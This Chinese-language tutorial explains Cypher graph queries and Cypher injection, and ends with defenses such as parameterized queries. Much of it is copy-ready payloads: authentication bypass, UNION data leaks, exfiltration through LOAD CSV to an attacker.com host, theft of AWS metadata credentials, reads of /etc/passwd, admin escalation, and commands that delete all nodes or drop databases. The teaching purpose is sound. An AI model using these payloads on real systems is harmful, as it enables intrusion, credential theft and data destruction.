Cypher，全称为 (Open) Cypher Query Language，是一种专为图数据库设计的声明式查询语言。它以直观的模式匹配方式，帮助开发者和数据分析师从复杂的图结构数据中检索、创建和修改信息。如果说 SQL 是关系型数据库的语言，那么 Cypher 就是图数据库的语言。Cypher 最初由 Neo4j 开发，通过 openCypher 项目成为开放标准，现已被 RedisGraph、Apache Spark、Amazon Neptune 等多种图数据库采纳，成为图查询语言的事实标准之一。

本文将全面介绍 Cypher 的基础知识、语法结构以及 Cypher 注入的原理与攻击手法。

1. 图数据库与 Cypher 基础

图数据库的核心要素

与传统的关系型数据库（基于表格和行）不同，图数据库通过节点和关系的结构化方式存储数据。其核心由以下四个元素构成：

  • 节点 (Nodes)：表示图中的实体，如人、书籍或公司。节点可以包含 属性 (Properties)，以键值对形式存储详细信息，例如 {name: 'Alice', age: 25}。
  • 关系 (Relationships)：连接两个节点，描述它们之间的关联。关系具有方向和类型，例如 (Alice)-[:FRIENDS_WITH]->(Bob) 表示 Alice 与 Bob 之间的“朋友”关系。关系也可以拥有属性。
  • 属性 (Properties)：存储在节点或关系中的键值对，用于附加详细信息。例如，一个 :Person 节点可能有 {name: 'Andy', title: 'Developer'}。
  • 标签 (Labels)：用于对节点或关系进行分类。例如，所有表示人物的节点可以打上 :Person 标签，表示公司的节点可以打上 :Company 标签，便于快速查询特定类型的实体。

一个典型的应用场景是安全分析工具 BloodHound，它利用 Neo4j 和 Cypher 的能力可视化并分析 Active Directory 中的复杂权限关系，帮助安全人员发现潜在的攻击路径。

Cypher 查询语言基础语法

Cypher 的强大之处在于其声明式和可组合的特性，通过一系列 子句 (Clauses) 构建查询，每个子句像管道一样处理数据，将前一个子句的输出传递给下一个子句。以下是 Cypher 的核心语法和子句：

查询注释

  • 行内注释：// 用于单行注释。
  • 多行注释：/* ... */ 用于多行注释。

核心子句详解

  1. MATCH：Cypher 的核心子句，用于匹配图中的模式，类似于 SQL 的 SELECT ... FROM，但更直观。

    // 匹配所有标签为 "Fruit" 的节点并返回
MATCH (a:Fruit) RETURN a// 匹配具有特定属性的 "Fruit" 节点
MATCH (a:Fruit {title: 'Green Apple'}) RETURN a// 使用 WHERE 子句进行复杂过滤
MATCH (a:Fruit) WHERE a.title = "Green Apple" RETURN a// 限制结果数量并排序
MATCH (a:Fruit) RETURN a ORDER BY a.title DESC LIMIT 20

    这里的 a 是一个变量，代表匹配到的节点，类似于编程中的临时变量名，开发者可以自由命名（如 a、n、m），用于在查询中引用节点。

  2. CREATE：用于创建新的节点和关系。

    // 创建一个空节点
CREATE (n)// 创建带标签和属性的节点
CREATE (n:Person {name: 'Andy', title: 'Developer'})// 创建节点后通过 SET 添加或修改属性
CREATE (n:Account)
SET n.id=1, n.username="admin", n.password="password123"
RETURN n

    这里的 n 是节点变量，用于表示新创建的节点。

  3. UNION / UNION ALL：合并多个查询结果。UNION 会去重，UNION ALL 保留所有结果。合并的查询必须返回相同数量和名称的列。

    // 合并人员姓名和书籍标题，使用相同别名
MATCH (n:Person) RETURN n.name AS name
UNION
MATCH (b:Book) RETURN b.title AS name

    这里的 n 和 b 是变量，分别表示 :Person 和 :Book 节点。

  4. WITH：将前一个子句的输出作为中间结果传递给下一个子句，常用于复杂查询或注入攻击中的查询链。

    // 匹配所有节点，排序并限制结果
MATCH (c)
WITH c
ORDER BY c.Character DESC
LIMIT 3
RETURN collect(c.name)

    这里的 c 是变量，代表匹配到的节点。

  5. YIELD：在 CALL 语句中指定过程返回的字段，绑定到变量供后续使用。

    // 调用 db.labels() 获取所有标签，绑定到变量 x
CALL db.labels() YIELD label AS x

  6. LOAD CSV：从本地或远程 CSV 文件导入数据，支持 HTTPS、HTTP、FTP 和 file:/// 协议，常被用于 SSRF 或任意文件读取攻击。

    // 读取本地文件，可能导致任意文件读取
LOAD CSV FROM 'file:///etc/passwd' AS line RETURN line// 读取远程文件，可能导致数据外泄
LOAD CSV FROM 'https://attacker.com/data.csv' AS line RETURN line

    这里的 line 是变量，表示 CSV 文件的每一行数据。

  7. APOC 库：Awesome Procedures on Cypher 是一个 Neo4j 扩展库，提供丰富的功能，如 apoc.load.json() 用于导入 JSON 数据，apoc.util.sleep() 用于时间延迟（常用于时间盲注）。由于其强大功能，APOC 库是 Cypher 注入攻击的重要目标。

2. Cypher 注入：原理与攻击手法

Cypher 注入是一种类似于 SQL 注入的攻击方式，攻击者通过在用户可控的输入中插入恶意 Cypher 代码，改变查询的原始意图，执行未经授权的操作，如数据泄露、权限提升或拒绝服务。

Cypher 注入的分类

根据攻击者与数据库交互的方式，Cypher 注入可分为以下几类：

  1. 带内注入 (In-band)：攻击者通过同一通道注入代码并直接获取结果。
    • 基于错误 (Error-based)：通过构造恶意输入触发数据库错误，推断数据库结构或泄露数据。
  2. 推断型盲注 (Inferential Blind)：攻击者无法直接看到结果，但通过应用程序的行为推断信息。
    • 基于布尔值 (Boolean-based)：通过注入 OR 1=1 或 OR 1=0，观察响应差异。
    • 基于时间 (Time-based)：通过 apoc.util.sleep() 等延迟函数，判断注入是否成功。
  3. 带外注入 (Out-of-band)：利用 LOAD CSV 等功能使数据库向攻击者控制的服务器发送请求，实现数据外泄或 SSRF。

与 SQL 注入相比，Cypher 注入有以下特点：

  • 无“表”概念：无法直接通过 UNION 从其他“表”获取数据，但可合并不同查询结果。
  • 时间盲注需依赖 APOC：Cypher 本身无 sleep 函数，需使用 apoc.util.sleep()。
经典注入攻击示例

以下是一些典型的 Cypher 注入攻击，展示如何利用漏洞实现恶意目的。

示例 1：简单带内注入 - 绕过查询限制

原始查询（以 NodeJS 应用为例）：

executeQuery("MATCH (c:Character) WHERE c.name = '" + name + "' RETURN c")

攻击载荷：

Spongebob' or 1=1 RETURN c//

最终查询：

MATCH (c:Character) WHERE c.name = 'Spongebob' or 1=1 RETURN c//' RETURN c

分析：

  • ' 闭合字符串，注入 or 1=1 使条件永真。
  • // 注释掉后续内容，返回所有 :Character 节点，绕过查询限制。

示例 2：带外注入 - 数据外泄

原始查询：

MATCH (p:Person) WHERE id(p) = 42 RETURN p

攻击载荷：

42 CALL db.labels() YIELD label LOAD CSV FROM 'https://attacker.com/' + label AS r

最终查询：

MATCH (p:Person) WHERE id(p) = 42 CALL db.labels() YIELD label LOAD CSV FROM 'https://attacker.com/' + label AS r RETURN p

分析：

  • CALL db.labels() 获取所有标签。
  • LOAD CSV FROM 'https://attacker.com/' + label 将每个标签发送到攻击者服务器。
  • 变量 r 表示 LOAD CSV 的返回数据（通常为空或 CSV 内容）。

示例 3：OPTIONAL MATCH 泄露所有节点

攻击载荷：

1 OPTIONAL MATCH (m) RETURN m AS n //

分析：

  • OPTIONAL MATCH (m) 匹配图中所有节点（包括无标签节点），即使没有匹配也不会报错。
  • RETURN m AS n 将所有节点重命名为 n 返回。
  • 变量 m 表示匹配到的节点，n 是输出别名。
  • 效果：可能泄露整个数据库的节点数据，适用于带内注入场景。
构建恶意载荷的技巧
  1. 注入上下文分析：根据注入点的位置（字符串、括号等），使用 '、"、) 或 } 闭合原始查询。
  2. 利用注释：通过 // 或 /* ... */ 注释掉不需要的查询部分（如 LIMIT 或 RETURN）。
  3. WITH 子句：在 CREATE 等子句中注入 WITH 1337 AS y 跳出上下文，追加恶意子句。
  4. URL 编码：在 HTTP 请求中，确保空格、引号等特殊字符被正确编码（如 %20、%27）。

3. 漏洞检测与利用实战

检测 Cypher 注入漏洞
  1. 基于错误检测：
    • 输入 ' 或 "，观察是否触发语法错误。
    • 输入 1/0，触发运行时错误，分析错误信息以获取数据库结构或版本。
  2. 盲注检测：
    • 数学运算：在数字参数中注入 41+2-1，若响应与 42 相同，可能存在注入。
    • 布尔值：注入 ' or 1=1// 和 ' or 1=0//，观察响应差异。
  3. 带外检测：
    • 使用 LOAD CSV 向攻击者控制的服务器（如 Burp Collaborator）发送请求。
    • 示例：1 CALL db.labels() YIELD label LOAD CSV FROM 'https://attacker.com/' + label AS b RETURN b//
      • 变量 b 表示 LOAD CSV 的返回数据。
丰富的利用载荷

以下是针对不同攻击目标的 Cypher 注入载荷，涵盖认证绕过、数据泄露、SSRF、权限提升和拒绝服务。

认证绕过

  • 载荷：' or 1=1//
  • 场景：登录表单，绕过用户名或密码验证。
  • 效果：使条件永真，返回所有匹配节点。

数据泄露（带内）

  • 泄露所有标签：

    ' RETURN 1 AS x UNION CALL db.labels() YIELD label AS x RETURN x//
    • 变量 x 表示返回的标签名。

  • 泄露指定标签的属性：

    ' RETURN 1 AS x UNION MATCH (c:Character) RETURN DISTINCT keys(c) AS x//
    • 变量 c 表示 :Character 节点，x 表示属性键。

  • 泄露属性值：

    ' RETURN 1 AS x UNION MATCH (c:Character) RETURN c.name AS x//
    • 变量 x 表示节点属性 name 的值。

数据泄露（带外）

  • 泄露所有标签：

    ' CALL db.labels() YIELD label LOAD CSV FROM 'https://attacker.com/'+label AS b RETURN b//
    • 变量 b 表示 LOAD CSV 的返回数据。

  • 泄露属性值（需 APOC 库）：

    ' MATCH (c:Character) LOAD CSV FROM 'https://attacker.com/'+c.name AS b RETURN b//
    • 变量 b 表示 LOAD CSV 的返回数据。

SSRF 与任意文件读取

  • 泄露内部服务：

    LOAD CSV FROM "http://169.254.169.254/latest/meta-data/iam/security-credentials/" AS x
LOAD CSV FROM "https://attacker.com/"+x[0] AS y
RETURN ''//
    • 变量 x 表示 AWS 元数据，y 表示外泄数据。

  • 任意文件读取：

    ' RETURN n UNION LOAD CSV FROM "file:///etc/passwd" AS n RETURN n //
    • 变量 n 表示文件内容。

权限提升

  • 原始查询：
    CREATE (n:Account) SET n.password="{注入点}"
  • 攻击载荷：", n.admin=True RETURN n//
  • 最终查询：
    CREATE (n:Account) SET n.password="", n.admin=True RETURN n //
    • 变量 n 表示创建的账户节点，注入后提升为管理员。

拒绝服务 (DoS)

  • 删除所有节点：

    ' MATCH (all) DETACH DELETE all//
    • 变量 all 表示所有节点。

  • 删除数据库：

    ' USE system CALL dbms.listDatabases() YIELD name WHERE name <> 'system' CALL { WITH name DROP DATABASE name } IN TRANSACTIONS RETURN 1 //
    • 变量 name 表示数据库名称。

4. 防御 Cypher 注入

  1. 参数化查询：使用参数化查询（prepared statements）代替字符串拼接。例如：
    executeQuery("MATCH (c:Character) WHERE c.name = $name RETURN c", { name: userInput })
  2. 输入验证和清理：严格验证用户输入，过滤特殊字符（如 '、", //）。
  3. 最小权限原则：限制数据库用户的权限，避免执行高危操作（如 DETACH DELETE 或 DROP DATABASE）。
  4. 禁用 APOC 高危功能：限制 apoc.util.sleep() 等函数，防止时间盲注。
  5. 限制 LOAD CSV：禁用 file:// 协议，限制外部网络请求。
  6. 错误信息隐藏：避免返回详细的数据库错误信息。

总结

Cypher 是一种强大且直观的图查询语言，广泛应用于图数据库中，但其灵活性也带来了 Cypher 注入 的风险。攻击者可以通过注入恶意代码实现认证绕过、数据泄露、SSRF、权限提升甚至拒绝服务。变量如 m、n、b 是查询中的临时标识符，具体含义取决于上下文，例如在 OPTIONAL MATCH (m) RETURN m AS n // 中，m 表示所有节点，n 是输出别名，可能导致整个数据库内容泄露。通过理解 Cypher 的语法和注入原理，开发者可以更好地检测和防御漏洞，而安全研究人员则能更有效地发现和利用潜在风险。

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